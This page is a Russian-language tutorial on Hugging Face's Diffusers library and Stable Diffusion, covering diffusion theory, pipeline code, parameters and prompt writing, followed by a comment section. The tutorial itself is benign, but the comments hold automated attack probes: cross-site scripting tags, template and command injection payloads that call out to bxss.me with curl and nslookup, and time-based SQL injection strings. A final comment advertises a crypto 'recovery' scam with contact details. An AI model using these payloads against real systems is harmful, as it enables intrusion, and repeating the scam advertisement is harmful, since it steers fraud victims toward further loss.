Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Введение в библиотеку Diffusers и диффузионные модели

Исходники

Документация

Модели

Diffusers — это библиотека от Hugging Face, которая позволяет работать с сотнями предобученных моделей класса Stable Diffusion для создания изображений и аудио.

Какие задачи можно решать с помощью Stable Diffusion (из библиотеки Diffusers):

Text-To-Image (txt2img)

Модели

Документация

Самое популярное использование: вы описываете словами что хотите получить, а нейронная сеть выдает вам картинку.

e8d7064413c3d8d5ed8c642f998eb47a.png

Image-To-Image (img2img)

Модели

Документация

Генерация новых изображения на основе существующих. Вы предоставляете входное изображение в качестве отправной точки (заготовки) и описываете текстом, что хотите с ним сделать. Диффузионная модель сгенерирует новое изображение с тем же цветом и композицией, что и входное изображение, но с описанными изменениями.

79bb6f110d81ee4c0c7e6f11fadc79f1.png

Inpaint

Модели

Документация

На вход подается изображение, маска и текст. Нейросеть заменит изображение внутри маске тем, что написано в запросе.

85a11ed438ea8a6615971268b0ade897.png

Depth-to-image (depth2img)

Модель

Документация

Эта модель так же используется для создания новых изображений из существующих. Но при этом модель будет учитывать форму и глубину объектов исходного изображения, указанного с помощью карты глубины.

12657ef3354f7be2b9b31e7125cce771.png

Помимо Stable Diffusion есть еще две сравнимые по качеству модели: Dall-E 2 и MidJerney. Но они закрытые, их весов в открытом доступе нету, а получить доступ к ним можно только за денюжку.

Теория

Прежде чем переходить к практике кратко рассмотрим теорию…

Что такое диффузия

Stable Diffusion принадлежит к классу диффузионных моделей. Их идея состоит в том, чтобы смешать картинку и случайный шум, а далее научить нейросеть восстанавливать оригиналы из зашумленных изображений.

9a1f4749e51b6f19f9441f33a36e62a7.png

Процесс диффузии состоит из двух частей: прямой и обратный. Прямой процесс портит изображение, обратный восстанавливает.

Прямой процесс состоит из множества шагов (например, 100). Начинается он с исходной картинки. Далее на каждом шаге мы берем картинку с предыдущего шага и добавляем к ней немного шума (1%). И так до последнего шага, на котором исходное изображение превращается в случайный шум.

8d21b49f978085075b5b3825898d0265.png

Теперь у нас на каждый из 100 шагов есть пара изображений: изображение с шумом и сам шум. И мы будем обучать модель предсказывать этот шум, подавая ей на вход изображение с шумом.

377d5285b3a6dd64b2f5fe8c954ec75d.png

Можно управлять тем, сколько шума добавляется к изображению на каждом шаге. Поэтому можно распределить процесс и на 10 шагов и на 100 шагов.

Обратный процесс тоже итерационный: на каждом шаге мы будем просить модель предсказать шум и будем вычитать из изображения этот шум. И так пока не пройдем все шаги и не удалим из изображения весь шум.

Т.к. каждый раз картинка восстанавливается из случайного шума, то каждый раз будет получаться новая картинка.

Содержимое моделей

Stable Diffusion — это не единая модель, а целая система, состоящая из нескольких компонентов и моделей. На этапе инференса, т.е. когда модель уже обучена, мы имеем следующую схему работы:

542df4b28a7900f1604667f5a85cfd6c.png

CLIP

CLIP (текстовый кодировщик модели) — это специальная языковая модель типа Transformer. CLIP получает на входе текст и выдает на выходе вектор чисел, описывающий каждое слово в тексте.

Модель CLIP обучалась на изображениях и описаниях к ним. Основная ее фишка в том, что при обучении она формирует два вектора: для картинки и для текста. И модель учится минимизировать косинусное расстояние между этими векторами. Т.о. выдаваемые ею эмбединги одновременно описывают и текст и картинку.

UNet + Scheduler

UNet — это рабочая лошадка под капотом Stable Diffusion. Именно UNet предсказывает шум. А управляет процессом Scheduler — это некий алгоритм, которые не содержит в себе обучаемых параметров. Он отвечает за то, как именно мы зашумляем изображение. Вместе они поэтапно очищают изображение от шума.

Но мало сгенерировать случайную картинку из шума. Нам еще нужно, чтобы модель обращала внимание на текстовое описание, которое мы ей подаем. Для этого в UNet используются CrossAttention блоки. Они позволяют в процессе очистки смотреть в CLIP, чтобы результат генерации соответствовал текстовому описанию.

Decoder

В процессе работы UNet'а и Scheduler'а от шума очищается не само изображение, а т.н. латентное пространство. Это своего рода сжатое представление изображения. Перед началом работы в этом латентном пространстве генерируется шум и уже он непосредственно очищается. А когда латентное пространство очищено от шума, она обратно разжимается до нормальной картинки с помощью декодера.

Декодер это часть другой модели — автоэнкодера (Variational Autoencoder, VAE). Автоэнкордер это нейронная сеть из двух подсеток. Энкодер — сжимает изображение, а декодер, учится разжимает его назад с максимальной точностью. Собственно сжатое таким образом изображение и будет нашим латентным представлением. В обученной модели Stable Diffusion присутствует только декодер. При обучении используются обе части.

01333a9501344c967b42e090eac59e76.png

Цветная картинка с разрешением 512х512 состоит из 262 144 пикселей в каждом из 3 каналов. Если применять к ней процесс напрямую, то это потребует много времени и памяти. Мы же хотим генерировать картинки быстро и на относительно простых видеокартах. Поэтому, автокодер, используемый в Stable Diffusion, имеет коэффициент редукции (уменьшения) 8. Это означает, что изображение формы (3, 512, 512) становится (3, 64, 64) в латентном пространстве, что требует в 8 × 8 = 64 раза меньше памяти.

Установка

Для начала установим библиотеки:

pip install --upgrade diffusers accelerate transformers

После этого нужно найти модель. Где именно их искать рассмотрим ниже. А пока будем использовать модель Stable Diffusion XL с платформы Hugging Face.

Установленная и импортированная библиотека accelerate сильно ускоряет загрузку моделей в память.

Использование

Самый простой способ использовать предварительно обученную модель диффузии для инференса — использовать класс DiffusionPipeline. Он содержит все, что необходимо для диффузионной модели (токенайзер, Unet, декодер и т.д.).

Для экспериментов будем учится преобразовывать текст в изображение.

from diffusers import DiffusionPipeline

pipeline = DiffusionPipeline.from_pretrained("stabilityai/stable-diffusion-xl-base-1.0")

promt = "An image of a squirrel in Picasso style"
image = pipeline(promt=promt).images[0]

image.save("image_of_squirrel_painting.png")

Здесь мы:

  • Создали экземплар DiffusionPipeline и загрузили предобученную модель с Hugging Face Hub.

  • Сформировали текстовый запрос и передали его в пайплайн. На выходе из пайплайна получили картинку.

  • Сохранили изображение.

На что тут следует обратить внимание…

Кэш и локальное использование

DiffusionPipeline загружает и кэширует все компоненты которые входят в пайплайн: модели, токенайзеры, планеровщики и т.д.

Найти их локально вы сможете по следующему пути:

C:\Users\<user_name>\.cache\huggingface\hub

Либо вы можете сразу скачать нужную вам модель локально:

!git lfs install
!git clone https://huggingface.co/runwayml/stable-diffusion-v1-5

А затем указать путь до нее в конвейере:

pipeline = DiffusionPipeline.from_pretrained("./stable-diffusion-v1-5")

Содержимое пайплайна

Как уже говорилось, Stable Diffusion это не монолитная модель, а сложная модульная структура. Что конкретно в нее входит можно посмотреть просто распечатав пайплайн:

StableDiffusionPipeline {
  "_class_name": "StableDiffusionPipeline",
  "_diffusers_version": "0.19.1",
  "_name_or_path": "/root/work/text_to_image/stable_diffusion_v1_5/snapshots/c9ab35ff5f2c362e9e22fbafe278077e196057f0",
  "feature_extractor": [
    "transformers",
    "CLIPImageProcessor"
  ],
  "requires_safety_checker": true,
  "safety_checker": [
    "stable_diffusion",
    "StableDiffusionSafetyChecker"
  ],
  "scheduler": [
    "diffusers",
    "PNDMScheduler"
  ],
  "text_encoder": [
    "transformers",
    "CLIPTextModel"
  ],
  "tokenizer": [
    "transformers",
    "CLIPTokenizer"
  ],
  "unet": [
    "diffusers",
    "UNet2DConditionModel"
  ],
  "vae": [
    "diffusers",
    "AutoencoderKL"
  ]
}

Воспроизводимость

Stable Diffusion создает изображения из случайного шума. Из-за этого при каждом запуске вы будете видеть новую картинку. Это во-первых само по себе может быть не нужно, а во-вторых может помешать вам улучшать картинку посредством изменения параметров (о них ниже). Поэтому вы можете зафиксировать выдаваемое изображение с помощью сида:

import torch

generator = torch.Generator("cuda").manual_seed(0)
image = pipeline(prompt, generator=generator).images[0]
image

Больше про воспроизводимость можно почитать тут.

Скорость и память

По умолчанию DiffusionPipeline выполняет расчеты с точностью float32. Вы можете ускорить процесс инференса (и уменьшить потребляемую память) переключившись на меньшую точность — float16.

pipeline = DiffusionPipeline.from_pretrained(model_name, torch_dtype=torch.float16)

Основные параметры

Рассмотрим некоторые параметры пайплайна…

num_inference_steps

Один из важнейших параметров. Количество шагов шумоподавления. Увеличение num_inference_steps обычно приводит к более качественному изображению, но за счет более длительного расчета. По умолчанию = 50.

image = pipeline(prompt, num_inference_steps=10).images[0]

Соотношение между качеством изображения и количество пройденных шагов сильно зависят используемого от шедулера. Некоторые современные шедулеры могут выдавать картинки хорошего качества и за небольшое количество шагов.

Слева направо: 10, 30 и 50 шагов
Слева направо: 10, 30 и 50 шагов

Слева направо: height и width

Задают размеры выходного изображения (в пикселях). Но учтите, что модель обучалась на изображениях определенного размера и их же заточена выдавать. Изменение этих размеров скорее всего ухудшит качество выдаваемого изображения.

image = pipeline(prompt, height=256, width=256).images[0]
Слева направо: 768, 512 и 256 пикселей
Слева направо: 768, 512 и 256 пикселей

guidance_scale

Отвечает за то, насколько точно изображение соответствовать запросу. Более высокое значения побуждает модель генерировать изображения, тесно связанные с текстовым запросом, за счет более низкого качества изображения. Значение по умолчанию — 7,5.

image = pipeline(prompt, guidance_scale=10).images[0]
Слева направо: 2, 7.5 и 15 guidance_scale
Слева направо: 2, 7.5 и 15 guidance_scale

Массовая генерация

Подбирать картинки поштучно можно довольно долго. Поэтому можно задействовать массовую генерацию.

Например, можно за раз сгенерировать картинки по разным запросам:

# Функция выводит несколько изображений
def image_grid(imgs, rows=2, cols=2):
    w, h = imgs[0].size
    grid = Image.new("RGB", size=(cols * w, rows * h))

    for i, img in enumerate(imgs):
        grid.paste(img, box=(i % cols * w, i // cols * h))

    return grid 

# Запросы 
prompts = [
    'red car at night on a racing track',
    'yellow car at night on a racing track',
    'blue car at night on a racing track'
] 

# Формируем пайплайн
pipeline = DiffusionPipeline.from_pretrained("stabilityai/stable-diffusion-xl-base-1.0")
images = pipeline(prompts).images

# Сохраняем картинки
#for i in range(len(images)):
#    images[i].save(f'{i}.png')

image_grid(images, rows=1, cols=3)
1c6efbc66b75e205df7a51dc0a420650.png

Или можно один и тот же запрос сгенерировать с разными сидами:

prompts = 3 * ['red car at night on a racing track'] 

pipeline = DiffusionPipeline.from_pretrained("stabilityai/stable-diffusion-xl-base-1.0")
images = pipeline(prompts).images

image_grid(images, rows=1, cols=3)
8b00927d73ea6ac9027258f5dab0b552.png

Сколько картинок влезет в память за раз зависит от используемой модели и вашей карточки. Пробуйте увеличивать количество пока не получите ошибку OutOfMemoryError.

Замена компонентов

Как уже было сказано, Stable Diffusion состоит из различных модулей. И вы можете заменять их по своему усмотрению...

Планировщик

Планировщик задает правила обработки шума. Различные планировщики имеют разные скорости шумоподавления и компромиссы в отношении качества. В библиотеки Diffusers их представлено множество. При этом нельзя сказать, что какой-то из них лучше других. Каждый из них имеет свои плюсы и минусы.

Лучший способ узнать, какой из них лучше всего подходит для вас — попробовать их. Переключатся между планировщиками довольно просто:

from diffusers import EulerDiscreteScheduler

pipeline = StableDiffusionPipeline.from_pretrained("runwayml/stable-diffusion-v1-5")
# Меняем шедулер
pipeline.scheduler = EulerDiscreteScheduler.from_config(pipeline.scheduler.config)
Слева направо: EulerDiscreteScheduler, DDPMScheduler, LMSDiscreteScheduler, KDPM2AncestralDiscreteScheduler
Слева направо: EulerDiscreteScheduler, DDPMScheduler, LMSDiscreteScheduler, KDPM2AncestralDiscreteScheduler

Вы можете узнать, какие планировщики совместимы с текущей моделью в DiffusionPipeline, вызвав метод compatibles:

pipeline.scheduler.compatibles
[diffusers.schedulers.scheduling_ddim.DDIMScheduler,
 diffusers.utils.dummy_torch_and_torchsde_objects.DPMSolverSDEScheduler,
 diffusers.schedulers.scheduling_heun_discrete.HeunDiscreteScheduler,
 diffusers.schedulers.scheduling_dpmsolver_singlestep.DPMSolverSinglestepScheduler,
 diffusers.schedulers.scheduling_pndm.PNDMScheduler,
 diffusers.schedulers.scheduling_unipc_multistep.UniPCMultistepScheduler,
 diffusers.schedulers.scheduling_euler_ancestral_discrete.EulerAncestralDiscreteScheduler,
 diffusers.schedulers.scheduling_k_dpm_2_ancestral_discrete.KDPM2AncestralDiscreteScheduler,
 diffusers.schedulers.scheduling_lms_discrete.LMSDiscreteScheduler,
 diffusers.schedulers.scheduling_euler_discrete.EulerDiscreteScheduler,
 diffusers.schedulers.scheduling_k_dpm_2_discrete.KDPM2DiscreteScheduler,
 diffusers.schedulers.scheduling_deis_multistep.DEISMultistepScheduler,
 diffusers.schedulers.scheduling_ddpm.DDPMScheduler,
 diffusers.schedulers.scheduling_dpmsolver_multistep.DPMSolverMultistepScheduler]

Автоэнкодер

Также можно поменять и автоэнкодер:

from diffusers import AutoencoderKL

pipeline = StableDiffusionPipeline.from_pretrained("runwayml/stable-diffusion-v1-5")

vae = AutoencoderKL.from_pretrained(
  "stabilityai/sd-vae-ft-mse",
  torch_dtype=torch.float16
).to("cuda")

pipeline.vae = vae

image = pipeline(prompt).images[0]

Hand made

Для любителей хардкора. Вы можете собрать весь пайплайн из отдельных компонентов. И даже вручную очищать изображение от шума: https://huggingface.co/docs/diffusers/main/en/using-diffusers/write_own_pipeline

Инженерия запросов

Важнейшая часть. Важнее любых других параметров — умение составлять правильные запросы.

Технически запрос состоит из двух частей и должен укладываться в 75 слов:

  • Prompt — положительный запрос. Указываем то, что хотим видеть.

  • Negative Prompt — отрицательный запрос. Указываем, чего не должно быть на изображении.

pipeline = DiffusionPipeline.from_pretrained("stabilityai/stable-diffusion-xl-base-1.0")

promt = "An image of a squirrel in Picasso style"
negative_prompt = "ugly, bad anatomy"

image = pipeline(promt=promt, negative_prompt=negative_prompt).images[0]
image

Положительный запрос рассмотрим далее. Что касается отрицательного: помимо логической части (чего вы конкретно не хотите видеть на картинке) есть на просторах интернета много универсальных отрицательных подсказок, которые помогают улучшить изображение. Например такая:

ugly, tiling, poorly drawn hands, poorly drawn feet, poorly drawn face, out of frame, extra limbs, disfigured, deformed, body out of frame, blurry, bad anatomy, blurred, watermark, grainy, signature, cut off, draft

Анатомия запроса

За время существования Stable Diffusion авторы и сообщество выработало общие правила и рекомендации по составлению запроса, которые могут сильно повлиять на выдаваемое качество. Начнем с...

Общие советы:

  • Будьте максимально конкретны. Чем точнее вы опишите чего вы хотите, тем быстрее вы получите нужный результат.

    • Неправильно: Милый котенок

    • Правильно: Милый серый котенок с голубыми глазами, в галстуке-бабочке сидит на диване

  • Объясняйте простыми слова, как для ребенка. Не используйте метафор, эвфемизмов, словесных каламбуров, избегайте двусмысленных слов и фраз, которые могут иметь несколько интерпретаций.

    • Неправильно: Обезьяны занимаются бизнесом

    • Правильно: Обезьяны сидят за столом в деловых костюмах

  • Используйте синонимы для описания одного и того же явления. Так модель попытается понять, к чему вы больше всего стремитесь. Например, если вы хотите передать мрачное настроение, то одновременно используйте слова «темно», «мрачно», «плохо освещено», «страшно», «хоррор».

  • Следите за порядком слов, он имеет значение. Stable Diffusion придает больший вес первым словам, но может пропустить то, что вы указали в конце. Вы можете перемещать части своего запроса и получать кардинально разные результаты. Например, если вас не устраивает качество человеческого лица, перенесите его описание ближе к началу.

Материал

Укажите материал, используемый для создания художественных работ. Вот некоторые примеры:

  • portrait

  • digital painting

  • concept art

  • ultra realistic illustration

  • underwater portrait

  • photograph

  • oil painting

Здесь и далее будем добавлять к предложению "fat cat lies on the couch, <var>" одно из значений.

Слева направо: portrait, oil painting, ultra realistic illustration, underwater portrait
Слева направо: portrait, oil painting, ultra realistic illustration, underwater portrait

Стиль

Под стилем понимается художественный стиль изображения. Например:

  • hyperrealistic

  • pop-art

  • modernist

  • art nouveau

  • fantasy

  • surrealist

  • steampunk

  • photorealisic

  • sci-fi

Слева направо: modernist, surrealist, steampunk, sci-fi
Слева направо: modernist, surrealist, steampunk, sci-fi

Автор

Укажите автора произведения и модель постарается изобразить картинку в его фирменном стиле. Примеры:

  • Stanley Artgerm Lau

  • John Singer Sargen

  • John Collier

  • Frida Kahlo

  • Alphonse Mucha

  • Van Gogh

Слева направо: John Singer Sargen, John Collier, Frida Kahlo, Alphonse Mucha
Слева направо: John Singer Sargen, John Collier, Frida Kahlo, Alphonse Mucha

Веб-сайт

Есть сайты на просторах интернета, который собирают изображения в определенных стилях и жанрах (и на которых училась модель). Использование их в запросе поможет направить модель в сторону этих стилей.

  • pixiv — стиль японских аниме

  • pixabay — коммерческие стоковые фотографий

  • artstation — современная иллюстрация, фэнтези

  • deviant art — сообщество художников общего типа

Слева направо: pixiv, pixabay, artstation, deviant art
Слева направо: pixiv, pixabay, artstation, deviant art

Разрешение

Разрешение указывает насколько четким и подробным должно быть изображение.

  • unreal engine

  • sharp focus

  • 8k

  • vray

  • highly detailed

  • sharp focus

Слева направо: unreal engine, sharp focus, 8k, vray
Слева направо: unreal engine, sharp focus, 8k, vray

Цвет

Вы можете контролировать цветовую гамму изображения. Указанные цвета могут присутствовать либо в виде общего тона изображения, либо отражаться в отдельных объектах.

  • iridescent gold

  • silver

  • vintage

  • rust

Слева направо: iridescent gold, silver, vintage, rust
Слева направо: iridescent gold, silver, vintage, rust

Свет

Свет – одна из ключевых составляющих хорошей композиции.

  • cinematic lighting

  • dark

  • atmospheric illumination

  • god rays

  • sunlight

  • backlight

Слева направо: cinematic lighting, dark, sunlight, god rays
Слева направо: cinematic lighting, dark, sunlight, god rays

Это далеко не полный список категорий (и уж точно не полный список значений). Вам не обязательно включать все эти компоненты в каждый свой запрос. Относитесь к ним как к контрольному списку, чтобы помнить, что можно использовать.

Вы можете пробовать комбинировать значения из одной категории. Например, указать одновременно двух художников: Stanley Artgerm Lau and Alphonse Mucha. И модель попытается смешать два их стиля.

Вспомогательные сервисы

Т.к. составление запросов это целое искусство, то в интернете появились сервисы, которые облегчают вам составление запросов:

Генераторы запросов

Сборники примеров запросов

  • Public Prompts — бесплатные запросы, разделенные по тематикам;

  • Stable Diffusion Modifier Studies — стили с примерами рассортированы в алфавитном порядке.

  • Lexica Art — крупнейшая галерея с бесплатными картинками и их описаниями, откуда можно копировать отдельные части запроса.

  • OpenArt — галерея, аналогичная Lexica Art, картинки можно смешивать или добавлять в закладки.

Веса

Вы можете придавать отдельным словам в запросе разные веса, тем самым заставляя модель обращать на них больше внимания.

Делается это с помощью сторонней библиотеки Compel и специальных символов. Символ "+" увеличивает вес слова, а символ "-" уменьшает. Примерно так:

from diffusers import StableDiffusionPipeline
from compel import Compel

pipeline = StableDiffusionPipeline.from_pretrained("runwayml/stable-diffusion-v1-5")
compel = Compel(tokenizer=pipeline.tokenizer, text_encoder=pipeline.text_encoder)

prompt = "sky image, sun++ clouds--"
conditioning = compel([prompt])

image = pipeline(prompt_embeds=conditioning).images[0]
image

Заметьте, что количеством символов вы можете регулировать силу веса: чем больше символов — тем больше вес (и наоборот).

Слева: sky image, sun++ clouds-- | Справа: sky image, sun-- clouds++
Слева: sky image, sun++ clouds-- | Справа: sky image, sun-- clouds++

Есть и другие техники задания весов отдельным словам и целым предложениями. Более подробно здесь.

Прочие задачи

Вкратце рассмотрим как Stable Diffusion решает другие задачи...

image2image

image2image позволяет подавать на вход изображение и изменять его с помощью запроса.

Благодаря Stable Diffusion мем «Как нарисовать сову?» обретает новую жизнь:

pipeline = StableDiffusionImg2ImgPipeline.from_pretrained(
  sd_15, 
  torch_dtype=torch.float16,
  use_safetensors=True
).to("cuda")

init_image = Image.open('owl_2circle.png').convert("RGB").thumbnail((768, 768))

prompt = "forest owl, pencil drawing"
image = pipeline(prompt=prompt, image=init_image).images[0]
image

Здесь мы подали на вход изображение из двух кружочков и попросили Stable Diffusion нарисовать лесную сову.

Как нарисовать сову? Очень просто: рисуем два кружочка, затем все остальное.
Как нарисовать сову? Очень просто: рисуем два кружочка, затем все остальное.

Inpainting

Inpainting позволяет изменять изображение в определенной области, которую вы укажите посредством маски:

from diffusers import StableDiffusionInpaintPipeline
from PIL import Image

pipeline = StableDiffusionInpaintPipeline.from_pretrained(
    "stabilityai/stable-diffusion-2-1-base",
    torch_dtype=torch.float16,
    use_safetensors=True,
    variant="fp16",
).to("cuda")

init_image = Image.open("overture-creations-5sI6fQgYIuo.png").convert("RGB").resize((512, 512))
mask_image = Image.open("overture-creations-5sI6fQgYIuo_mask.png").convert("RGB").resize((512, 512))

prompt = "teddy bear, sitting on a park bench"

image = pipeline(
  prompt=prompt,
  image=init_image,
  mask_image=mask_image
).images[0]
image
1b902b95ddd546a65c48e71aa4d3e17f.png

depth2image

depth2image это улучшенная версия image2image. Она не просто изменяет изображение, но и еще учитывает при этом 3D структуру изображения, которая подается на вход в виде маски.

pipe = StableDiffusionDepth2ImgPipeline.from_pretrained(
  "stabilityai/stable-diffusion-2-depth",
  torch_dtype=torch.float16,
  use_safetensors=True,
).to("cuda")

init_image = Image.open("000000039769.jpg")

prompt = "two tigers"
n_prompt = "bad, deformed, ugly, bad anatomy"

image = pipe
  prompt=prompt, 
  image=init_image, 
  negative_prompt=n_prompt, 
  strength=0.7).images[0]
image
236d3f42b454e9a80f45d5c012afdb9d.png

Как вы могли заметить в данном коде мы не подавали никакой маски на вход. Это потому что модель сама генерирует эту маску (один из ее модулей) и ее же использует при изменении изображения. Но вы можете сгенерировать маску сторонними сервисами или даже моделями и подать ее на вход.

Обучение

Как и любую другую модель Stable Diffusion можно обучать и дообучать. Объяснение этого выходит за рамки статьи, но вы можете ознакомится с процессом самостоятельно:

А еще Stable Diffusion обладает рядом интересных техник, которые позволяют изучать новые концепции буквально на нескольких изображениях, а также изменять сгенерированные изображения:

Экосистема

С момента первой Stable Diffusion было выпущено много улучшенных версий:

Более новые версии не обязательно означают лучшее качество при тех же параметрах.

Некоторые пользователи (на просторах интернета) жаловались, что версия 2.0 немного хуже, чем 1.5 для некоторых запросов. Но при правильном построении запроса (с использованием отрицательных запросов) 2.0 и 2.1 кажутся лучше. Вообще "качество" довольно субъективная вещь. Самый лучший способ узнать, что для вас лучше — попробовать разные модели :)

Все выше приведенные модели можно считать официальными. Но благодаря открытому исходному коду экосистема Stable Diffusion сильно разрослась. Появились различные плагины, лоры, дообученные энтузиастами модели.

Начать поиск моделей можно с Hugging Face.

Существуют целые галереи с примерами картинок и ссылкой на модель, с помощью которой они сгенерированы:

Помимо этого есть сторонние крупные сайты, на которых собраны дифузионный модели. Например: https://civitai.com

Веб-интерфейсы

Если работать через код вам не удобно, то можете попробовать один из веб-интерфейсов, специально разработанных для работы со Stable Diffusion.

З.Ы. Некоторые из них обладают гораздо большими возможностями по настройке параметров модели, чем программный интерфейс.

Интерфейс AUTOMATIC1111
Интерфейс AUTOMATIC1111

Вместо заключения

Хотя Stable Diffusion позволяет создавать невероятные картины, все же он не идеален. До сих пор можно столкнутся со следующими проблемами:

  • Stable Diffusion очень плохо работает с текстом.

  • Генерирует достаточно много артефактов.

  • Плохо работают с лицами.

С этими проблемами пытаются бороться некоторые дообученные модели.

И зачастую, чтобы добиться приемлемого результата, необходимо сгенерировать картинку множество раз.

---------------------

Мой телеграм-канал

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

